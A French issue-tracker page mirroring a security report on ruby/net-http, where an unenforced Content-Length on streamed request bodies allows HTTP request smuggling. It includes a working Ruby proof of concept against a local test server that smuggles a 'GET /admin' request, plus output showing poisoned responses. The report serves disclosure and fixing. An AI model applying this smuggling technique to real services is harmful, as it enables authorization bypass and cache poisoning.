Content-Length is not enforced for body_stream, so a longer stream smuggles a second request

Ouverte
#376 0 commentaires 0 réactions 0 personnes assignées Voir sur GitHub

Les mainteneurs répondent en général sous 1 jour

Personne n'a encore pris cette issue.

Évaluation

Difficulté
4/5
Temps estimé
3-5 jours
Accessibilité débutants
56/100
Type d'issue
Bug
Clarté
Clairement spécifiée
Activité
Active
Stack technique
ruby

Piste de recherche

Start in lib/net/http/generic_request.rb at send_request_with_body_stream, where the issue identifies the unrestricted IO.copy_stream call. Trace how the request's Content-Length is set and look for existing tests covering streamed request bodies. Done means a stream longer or shorter than the declared length is rejected without leaving extra bytes on a keep-alive connection.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Description

About

Title: Content-Length is not enforced for body_stream, so a longer stream smuggles a second request
Repository: ruby/net-http
Location: lib/net/http/generic_request.rb:317
Severity: High
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)

Summary

A caller can give a Net::HTTP request an IO body with req.body_stream = io and an
explicit Content-Length. send_request_with_body_stream writes the header announcing that
length and then calls IO.copy_stream(f, sock), which streams the entire IO. Nothing stops
copying at the announced length. If the IO holds more bytes than the declared
Content-Length (for example the application sized a file before opening or appending,
reused a partially-read IO, or took the length from user input), the surplus bytes are
written onto the keep-alive socket and the origin parses them as the beginning of the next
request.

Robust HTTP clients treat this as an error: Go's net/http and curl refuse to send a body
longer than the declared length. Net::HTTP silently desynchronises the connection, reports
a normal 200 for the first request, and lets the extra bytes act as a separate request.

Impact

Any application that proxies or uploads attacker-influenced bytes over a pooled or
keep-alive Net::HTTP connection can have attacker data smuggled onto the wire as a request
of the attacker's choosing. The injected request executes with the application's identity
and credentials, so it can reach privileged or internal endpoints; the application's next
request is answered with the response intended for the injected request (response-queue
poisoning); and shared caches or proxies can be poisoned for other users. This is the
classic client-side desync primitive (CWE-444), leading to authorization bypass, request
hijacking, and cache poisoning, while Net::HTTP still reports success for the original
upload.

Mitigations

Only affects requests that supply both an explicit Content-Length and a body IO whose
remaining length differs from it. Apps that pass a String body, let Net::HTTP compute the
length, or use Transfer-Encoding: chunked (chunk framing is authoritative) are not
affected. A fixed library must copy at most content_length bytes and raise if the stream
is shorter or longer than announced, as Go's net/http and curl do; until then a caller can
wrap the IO in a length-limiting reader that raises on surplus.

Examples
example 1

An upload endpoint sets Content-Length from a user-supplied size and then passes a file
stream as the body. The attacker declares 5 bytes but supplies a stream that continues
with GET /admin HTTP/1.1. The backend executes the admin request under the application's
credentials, and the application's next profile request receives the admin response.

example 2

An application reads part of a file before uploading it, then reuses the stream without
rewinding and computes Content-Length from the original file size. The surplus bytes are
interpreted by the backend as a new request on the pooled connection.

example 3

A batch job opens a file, records File.size, appends records to it, and sends the stream
with the stale length. The appended records are sent as a request line, corrupting the
connection and possibly triggering unintended backend actions.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: Net::HTTP request smuggling / response-queue poisoning
# -----------------------------------------------------------------------------
# Bug: lib/net/http/generic_request.rb#send_request_with_body_stream announces
# a Content-Length but then does `IO.copy_stream(f, sock)`, which streams the
# *entire* IO.  Bytes past the announced length stay on the keep-alive socket
# and the origin parses them as the start of the next request.  Go's net/http
# refuses to do this; Net::HTTP silently desynchronises the connection.
#
#   ruby smuggle_poc.rb [REPO_ROOT]      (REPO_ROOT defaults to /src)
#
# Exit status 0 means the exploit worked.

REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')

require 'socket'
require 'stringio'
require 'net/http'

# Prove we are exercising the repository's code, not the installed gem.
src = Net::HTTPGenericRequest.instance_method(:send_request_with_body_stream).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')

ATTACKER_RESPONSE = '{"role":"admin","secret":"s3cr3t-flag"}'

# ---------------------------------------------------------------------------
# A strict origin server.  One request at a time per connection, keep-alive,
# message boundaries determined solely by Content-Length.
# ---------------------------------------------------------------------------
class Origin
  attr_reader :port, :log

  def initialize
    @srv = TCPServer.new('127.0.0.1', 0)
    @port = @srv.addr[1]
    @log = Queue.new
    @conns = []
    @thr = Thread.new { accept_loop }
  end

  def accept_loop
    loop do
      client = @srv.accept
      @conns << Thread.new(client) { |s| serve(s) }
    end
  rescue IOError, Errno::EBADF
    nil # closed
  end

  def serve(sock)
    while (start = sock.gets)                  # request line
      next if start == "\r\n"
      verb, target, = start.split(' ', 3)
      headers = {}
      while (line = sock.gets) && line != "\r\n"
        k, v = line.split(':', 2)
        headers[k.downcase] = v.to_s.strip
      end
      len  = headers['content-length'].to_i
      body = len.positive? ? sock.read(len) : ''
      @log << { verb: verb, target: target, body: body }

      if target == '/admin'
        # The response the attacker wants the app to consume.
        sock.write("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" \
                   "Content-Length: #{ATTACKER_RESPONSE.bytesize}\r\n\r\n" \
                   "#{ATTACKER_RESPONSE}")
      else
        sock.write("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok")
      end
    end
  rescue IOError, SystemCallError
    nil
  ensure
    sock.close rescue nil
  end

  def drain
    50.times { break if @log.empty?; sleep 0.02 }
    out = []
    out << @log.pop until @log.empty?
    out
  end

  def stop
    @srv.close rescue nil
    @conns.each { |t| t.join(0.2) }
    @thr.join(0.2)
  end
end

# ---------------------------------------------------------------------------
# "The victim application": uploads a size-limited body, then asks the origin
# about the current user.  It trusts Net::HTTP to keep the connection honest.
# ---------------------------------------------------------------------------
def run_case(smuggled:, label:)
  origin = Origin.new                                    # fresh origin + connection
  http   = Net::HTTP.new('127.0.0.1', origin.port)
  http.start

  payload = 'AAAAA' + (smuggled ? "GET /admin HTTP/1.1\r\nHost: origin\r\n\r\n" : '')
  # The app computed the length before it finished filling the stream.
  declared = smuggled ? 5 : payload.bytesize
  req = Net::HTTP::Post.new('/upload')
  req.content_type  = 'application/octet-stream'
  req.body_stream   = StringIO.new(payload)
  req.content_length = declared                         # <<< the mismatch

  upload   = http.request(req)
  profile  = http.request(Net::HTTP::Get.new('/profile'))
  http.finish rescue nil

  puts "== #{label}"
  puts "   app sent:      POST /upload (declared #{declared}, stream #{payload.bytesize} bytes) then GET /profile"
  puts "   POST  -> #{upload.code} #{upload.body.inspect}"
  puts "   GET /profile -> #{profile.code} #{profile.body.inspect}"
  sleep 0.15
  reqs = origin.drain
  puts "   origin parsed: #{reqs.map { |r| "#{r[:verb]} #{r[:target]}" }.join(' | ')}"
  origin.stop
  { requests: reqs, profile: profile }
end

# ---------------------------------------------------------------------------
# 1. Control: Content-Length matches the stream.  Nothing is smuggled.
# ---------------------------------------------------------------------------
control = run_case(smuggled: false, label: 'CONTROL - honest Content-Length')
clean = control[:requests].map { |r| r[:target] } == %w[/upload /profile] &&
        control[:profile].body == 'ok'
puts "   => connection stays in sync\n\n" if clean

# ---------------------------------------------------------------------------
# 2. Attack: Content-Length is 5, the stream is longer.  Net::HTTP writes the
#    surplus onto the socket anyway; the origin executes the injected request
#    and the app's *next* request receives the injected response.
# ---------------------------------------------------------------------------
attack = run_case(smuggled: true, label: 'ATTACK - Content-Length 5, stream holds a request')
targets = attack[:requests].map { |r| r[:target] }

poisoned = targets == %w[/upload /admin /profile] &&
           attack[:profile].body == ATTACKER_RESPONSE

if clean && poisoned
  puts
  puts 'EXPLOITED'
  puts '  * the app made two requests, the origin executed three'
  puts '  * GET /admin was injected by data the app believed it had not sent'
  puts '  * GET /profile (the app\'s own request) returned the attacker response:'
  puts "    #{ATTACKER_RESPONSE}"
  exit 0
end

warn 'NOT EXPLOITED'
exit 1
stdout
== CONTROL - honest Content-Length
   app sent:      POST /upload (declared 5, stream 5 bytes) then GET /profile
   POST  -> 200 "ok"
   GET /profile -> 200 "ok"
   origin parsed: POST /upload | GET /profile
   => connection stays in sync

== ATTACK - Content-Length 5, stream holds a request
   app sent:      POST /upload (declared 5, stream 42 bytes) then GET /profile
   POST  -> 200 "ok"
   GET /profile -> 200 "{\"role\":\"admin\",\"secret\":\"s3cr3t-flag\"}"
   origin parsed: POST /upload | GET /admin | GET /profile

EXPLOITED
  * the app made two requests, the origin executed three
  * GET /admin was injected by data the app believed it had not sent
  * GET /profile (the app's own request) returned the attacker response:
    {"role":"admin","secret":"s3cr3t-flag"}
Langage dominant
Ruby
Étoiles
150
Forks
104
Merge moyen
4 j 6 h
PR mergées (30 j)
10

Préparer son environnement

Ce projet ne fournit ni conteneur de développement, ni Dockerfile, ni guide de contribution : l'installation est à votre charge. Commencez par son README, et consultez notre guide de la première contribution pour les étapes générales.

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Autres issues de ruby/net-http

Toutes les issues de ruby/net-http

Issues similaires

Plus d'issues Ruby

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.